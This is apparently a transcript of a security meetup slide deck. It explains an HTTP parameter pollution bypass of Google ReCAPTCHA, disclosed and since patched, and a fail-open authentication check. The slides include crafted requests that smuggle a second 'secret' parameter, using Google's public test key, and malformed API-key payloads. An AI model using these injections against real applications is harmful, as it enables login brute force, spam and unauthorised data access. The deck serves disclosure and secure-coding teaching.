Slide 1

Slide 1 text

Injecting into URLs Breaking URL-Encoding Meetup Buenos Aires, Argentina

Slide 2

Slide 2 text

/me ● Application security expert (web|API) ● Developer (Python!) ● Open Source evangelist ● w3af project leader ● Independent application security consultant

Slide 3

Slide 3 text

Bypassing Google ReCAPTCHA (in some scenarios)

Slide 4

Slide 4 text

ReCAPTCHA Prevents automation by asking the user to solve tasks which are easy for humans but hard for computers.

Slide 5

Slide 5 text

User sends solution to application Clicking on the Verify button will send this HTTP request to the application: POST /verify-recaptcha-response HTTP/1.1 Host: vulnerable-app.com recaptcha-response={user-response}

Slide 6

Slide 6 text

Verify response with the API POST /recaptcha/api/siteverify HTTP/1.1 Host: www.google.com Content-Type: application/x-www-form-urlencoded recaptcha-response={user-response}&secret={application-secret} HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 90 { "success": true, "challenge_ts": "2018-01-29T17:58:36Z", ... } Google's ReCAPTCHA API verifies the user's response:

Slide 7

Slide 7 text

Verify response with the API private String sendPost(String CaptchaResponse, String Secret) { String url = "https://www.google.com/recaptcha/api/siteverify"; url += "?response="; url += CaptchaResponse; url += "&secret="; url += Secret; URL obj = new URL(url); HttpsURLConnection con = (HttpsURLConnection) obj.openConnection(); ... Google's ReCAPTCHA API verifies the user's response:

Slide 8

Slide 8 text

HTTP parameter pollution POST /verify-recaptcha-response HTTP/1.1 Host: vulnerable-app.com recaptcha-response=anything%26secret%3dxyz Injecting parameters into the API request: POST /recaptcha/api/siteverify HTTP/1.1 Host: www.google.com ... recaptcha-response=anything&secret=xyz&secret={application-secret}

Slide 9

Slide 9 text

ReCAPTCHA duplicate parameters POST /recaptcha/api/siteverify HTTP/1.1 Host: www.google.com ... recaptcha-response={user-response}&secret={application-secret} &secret={another-secret-application-secret} HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 ... ReCAPTCHA accepted duplicate parameter names, using the first one and discarding the second:

Slide 10

Slide 10 text

No content

Slide 11

Slide 11 text

ReCAPTCHA and integration tests ReCAPTCHA allows developers to configure a specific application secret (should only be used in non-production environments) which forces ReCAPTCHA to always return "success". 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe https://developers.google.com/recaptcha/docs/faq

Slide 12

Slide 12 text

Bypass ReCAPTCHA POST /verify-recaptcha-response HTTP/1.1 Host: vulnerable-app.com recaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFu ojJ4WifJWe Injecting parameters into the API request: POST /recaptcha/api/siteverify HTTP/1.1 Host: www.google.com ... recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4 WifJWe&secret={application-secret}

Slide 13

Slide 13 text

Requirement: HPP There are two strong requirements for this vulnerability to be exploitable in a web application: 1. The application needs to have an HTTP parameter pollution vulnerability in the ReCAPTCHA url creation. Github searches showed that ~60% of the integrations with ReCAPTCHA are vulnerable ProTip: Never, ever, use string concatenation or formatting for creating URLs.

Slide 14

Slide 14 text

Requirement: Order There are two strong requirements for this vulnerability to be exploitable in a web application: 2. The vulnerable web application needs to create the URL with the response parameter first, and then the secret: This allows the attacker to control the first "secret" parameter. Strangely, almost all applications do it the other way. My guess is that Google’s documentation and code examples did it like that, and others simply copied from there. Google got lucky there… if they would have done it the other way around, this vulnerability would have affected even more sites. GitHub searches showed that only 5 to 10% of the ReCAPTCHA implementations meet this requirement. response=…&secret=…

Slide 15

Slide 15 text

Only 3% meet the requirements

Slide 16

Slide 16 text

Risks: Login brute force, spam, etc. What is usually protected by ReCAPTCHA? ● Authentication ● Password reset and user registration ● Comments section Those things could have been bypassed!

Slide 17

Slide 17 text

Fix: No duplicate parameter names Google fixed this issue by rejecting all HTTP requests that have more than one parameter named the same way. This fix is smart: protects all vulnerable applications without requiring them to apply any changes nor fixing their vulnerabilities.

Slide 18

Slide 18 text

Google's Bug Bounty (rant)

Slide 19

Slide 19 text

Bounty ● Jan-29 / Vulnerability is reported to Google ● Jan-30 / Google replies: “reCAPTCHA is working exactly as designed“ ● Jan-31 / I ask them to please re-read the vulnerability report ● Jan-31 / Google asks for more information ● Feb-1 / Google confirms vulnerability ● Feb-15 / Google awards 500 USD for the vulnerability report. Money donated to charity. ● Mar-25 / Patch is released

Slide 20

Slide 20 text

Breaking URL-Encoding Authentication bypass

Slide 21

Slide 21 text

Spot the bug! The following code was found during one of my application security assessments. Spot the bug, tell us how to exploit it, win a beer!

Slide 22

Slide 22 text

import requests class AuthenticationManager(object): API_AUTHORIZE_URL = "http://auth.service/authenticate?key=%s" def authenticate(self, api_key): authenticated = True url = self.API_AUTHORIZE_URL % api_key try: response = requests.get(url).json() except Exception, e: # Gets here on connection error, 400, 403, 404, 500 logging.error('Exception: %s' % e) else: # response looks like {"result": true} return response['result'] return authenticated

Slide 23

Slide 23 text

GET /super/secret/data HTTP/1.1 Host: vulnerable-app.com X-API-Key: %xy Exploitation: Breaking URL encoding The API key is specially crafted to trigger an error in the internal authentication API. Most likely triggering 400 (Bad Request). The default-open implementation of the authenticate method will grant the attacker access.

Slide 24

Slide 24 text

GET /super/secret/data HTTP/1.1 Host: vulnerable-app.com X-API-Key: AAA*10000 Other ways to break URLs? GET /super/secret/data HTTP/1.1 Host: vulnerable-app.com X-API-Key: # GET /super/secret/data HTTP/1.1 Host: vulnerable-app.com X-API-Key: %3c%0a <--- bad unicode

Slide 25

Slide 25 text

Thanks!

Slide 26

Slide 26 text

For hire Does your company or startup need these services? ● Application Penetration Test ● Secure Coding Training for Developers ● Source Code Review ● Cloud Security Assessment Let me know, I can help you deliver secure web applications.